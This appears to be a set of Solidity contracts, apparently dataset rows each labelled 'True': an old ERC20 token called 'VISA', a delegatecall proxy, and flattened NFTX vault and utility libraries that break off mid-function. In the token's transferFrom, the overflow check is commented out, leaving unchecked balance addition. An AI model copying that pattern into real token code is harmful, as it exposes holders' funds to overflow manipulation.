//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract ERC20Token is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function ERC20Token(
) {
balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 10000000000000000000; // Update total supply (100000 for example)
name = "VISA"; // Set the name for display purposes
decimals = 10; // Amount of decimals for display purposes
symbol = "VISA"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @title NonReceivableInitializedProxy
* @author Anna Carroll
*/
contract NonReceivableInitializedProxy {
// address of logic contract
address public immutable logic;
// ======== Constructor =========
constructor(address _logic, bytes memory _initializationCalldata) {
logic = _logic;
// Delegatecall into the logic contract, supplying initialization calldata
(bool _ok, bytes memory returnData) = _logic.delegatecall(
_initializationCalldata
);
// Revert if delegatecall to implementation reverts
require(_ok, string(returnData));
}
// ======== Fallback =========
fallback() external payable {
address _impl = logic;
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
// Sources flattened with hardhat v2.0.11 https://hardhat.org
// File contracts/solidity/proxy/IBeacon.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function childImplementation() external view returns (address);
function upgradeChildTo(address newImplementation) external;
}
// File contracts/solidity/interface/INFTXVaultFactory.sol
pragma solidity ^0.8.0;
interface INFTXVaultFactory is IBeacon {
// Read functions.
function numVaults() external view returns (uint256);
function zapContract() external view returns (address);
function feeDistributor() external view returns (address);
function eligibilityManager() external view returns (address);
function vault(uint256 vaultId) external view returns (address);
function vaultsForAsset(address asset) external view returns (address[] memory);
function isLocked(uint256 id) external view returns (bool);
event NewFeeDistributor(address oldDistributor, address newDistributor);
event NewZapContract(address oldZap, address newZap);
event NewEligibilityManager(address oldEligManager, address newEligManager);
event NewVault(uint256 indexed vaultId, address vaultAddress, address assetAddress);
// Write functions.
function __NFTXVaultFactory_init(address _vaultImpl, address _feeDistributor) external;
function createVault(
string calldata name,
string calldata symbol,
address _assetAddress,
bool is1155,
bool allowAllItems
) external returns (uint256);
function setFeeDistributor(address _feeDistributor) external;
function setEligibilityManager(address _eligibilityManager) external;
function setZapContract(address _zapContract) external;
}
// File contracts/solidity/interface/INFTXFeeDistributor.sol
pragma solidity ^0.8.0;
interface INFTXFeeDistributor {
struct FeeReceiver {
uint256 allocPoint;
address receiver;
bool isContract;
}
function nftxVaultFactory() external returns (address);
function lpStaking() external returns (address);
function treasury() external returns (address);
function defaultTreasuryAlloc() external returns (uint256);
function defaultLPAlloc() external returns (uint256);
function allocTotal(uint256 vaultId) external returns (uint256);
function specificTreasuryAlloc(uint256 vaultId) external returns (uint256);
// Write functions.
function __FeeDistributor__init__(address _lpStaking, address _treasury) external;
function rescueTokens(address token) external;
function distribute(uint256 vaultId) external;
function addReceiver(uint256 _vaultId, uint256 _allocPoint, address _receiver, bool _isContract) external;
function initializeVaultReceivers(uint256 _vaultId) external;
function changeMultipleReceiverAlloc(
uint256[] memory _vaultIds,
uint256[] memory _receiverIdxs,
uint256[] memory allocPoints
) external;
function changeMultipleReceiverAddress(
uint256[] memory _vaultIds,
uint256[] memory _receiverIdxs,
address[] memory addresses,
bool[] memory isContracts
) external;
function changeReceiverAlloc(uint256 _vaultId, uint256 _idx, uint256 _allocPoint) external;
function changeReceiverAddress(uint256 _vaultId, uint256 _idx, address _address, bool _isContract) external;
function removeReceiver(uint256 _vaultId, uint256 _receiverIdx) external;
// Configuration functions.
function setTreasuryAddress(address _treasury) external;
function setDefaultTreasuryAlloc(uint256 _allocPoint) external;
function setSpecificTreasuryAlloc(uint256 _vaultId, uint256 _allocPoint) external;
function setLPStakingAddress(address _lpStaking) external;
function setNFTXVaultFactory(address _factory) external;
function setDefaultLPAlloc(uint256 _allocPoint) external;
}
// File contracts/solidity/token/IERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/solidity/util/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File contracts/solidity/util/SafeERC20Upgradeable.sol
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using Address for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/solidity/proxy/Initializable.sol
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File contracts/solidity/util/ContextUpgradeable.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File contracts/solidity/util/OwnableUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File contracts/solidity/util/SafeMathUpgradeable.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File contracts/solidity/util/PausableUpgradeable.sol
pragma solidity ^0.8.0;
contract PausableUpgradeable is OwnableUpgradeable {
function __Pausable_init() internal initializer {
__Ownable_init();
}
event SetPaused(uint256 lockId, bool paused);
event SetIsGuardian(address addr, bool isGuardian);
mapping(address => bool) public isGuardian;
mapping(uint256 => bool) public isPaused;
// 0 : createVault
// 1 : mint
// 2 : redeem
// 3 : swap
// 4 : flashloan
function onlyOwnerIfPaused(uint256 lockId) public view virtual {
require(!isPaused[lockId] || msg.sender == owner(), "Paused");
}
function unpause(uint256 lockId)
public
virtual
onlyOwner
{
isPaused[lockId] = false;
emit SetPaused(lockId, false);
}
function pause(uint256 lockId) public virtual {
require(isGuardian[msg.sender], "Can't pause");
isPaused[lockId] = true;
emit SetPaused(lockId, true);
}
function setIsGuardian(address addr, bool _isGuardian) public virtual onlyOwner {
isGuardian[addr] = _isGuardian;
emit SetIsGuardian(addr, _isGuardian);
}
}
// File contracts/solidity/proxy/ClonesUpgradeable.sol
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library ClonesUpgradeable {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// File contracts/solidity/token/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File contracts/solidity/StakingTokenProvider.sol
pragma solidity ^0.8.0;
// Author: 0xKiwi.
contract StakingTokenProvider is OwnableUpgradeable {
address public uniLikeExchange;
address public defaultPairedToken;
string public defaultPrefix;
mapping(address => address) public pairedToken;
mapping(address => string) public pairedPrefix;
event NewDefaultPaired(address oldPaired, address newPaired);
event NewPairedTokenForVault(address vaultToken, address oldPairedtoken, address newPairedToken);
// This is an address provder to allow us to abstract out what liquidity
// our vault tokens should be paired with.
function __StakingTokenProvider_init(address _uniLikeExchange, address _defaultPairedtoken, string memory _defaultPrefix) public initializer {
__Ownable_init();
require(_uniLikeExchange != address(0), "Cannot be address(0)");
require(_defaultPairedtoken != address(0), "Cannot be address(0)");
uniLikeExchange = _uniLikeExchange;
defaultPairedToken = _defaultPairedtoken;
defaultPrefix = _defaultPrefix;
}
function setPairedTokenForVaultToken(address _vaultToken, address _newPairedToken, string calldata _newPrefix) external onlyOwner {
require(_newPairedToken != address(0), "Cannot be address(0)");
emit NewPairedTokenForVault(_vaultToken, pairedToken[_vaultToken], _newPairedToken);
pairedToken[_vaultToken] = _newPairedToken;
pairedPrefix[_vaultToken] = _newPrefix;
}
function setDefaultPairedToken(address _newDefaultPaired, string calldata _newDefaultPrefix) external onlyOwner {
emit NewDefaultPaired(defaultPairedToken, _newDefaultPaired);
defaultPairedToken = _newDefaultPaired;
